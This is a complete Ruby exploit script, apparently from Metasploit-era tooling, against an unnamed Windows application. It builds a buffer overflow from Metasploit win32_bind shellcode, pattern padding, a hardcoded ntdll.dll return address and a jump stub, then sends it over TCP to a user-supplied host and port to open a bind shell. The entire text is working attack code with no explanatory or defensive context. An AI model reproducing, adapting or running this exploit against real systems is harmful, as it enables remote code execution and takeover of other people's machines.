#!/usr/bin/env ruby $:.unshift(File.join(File.dirname(__FILE__), '..', 'lib')) require 'rex' puts "Lin0xx's test exploit for a win32 app" #win32_bind payload generated by metasploit payload = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" + "\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" + "\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" + "\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" + "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" + "\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" + "\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" + "\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" + "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" + "\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" + "\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53" + "\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1" + "\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff" + "\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0\x68" + "\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93" + "\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" + "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a" + "\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93" + "\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44" + "\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51" + "\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37" + "\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6\x52\xff\xd0\x68" + "\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0" jmp_shellcode = "\x66\xB8\x04\x02\x66\x2B\xE0\xFF\xE4" host = ARGV.shift port = ARGV.shift len = 512 - payload.length jmp_pad = 0x40 - 4 retaddr = 0x7c923da3 #jmp ebp in ntdll.dll payload += Rex::Text.pattern_create(len, Rex::Text::DefaultPatternSets) + [retaddr].pack('V') + Rex::Text.pattern_create(jmp_pad, Rex::Text::DefaultPatternSets) + jmp_shellcode sock = TCPSocket.new(host, port) sock.puts(payload) sock.close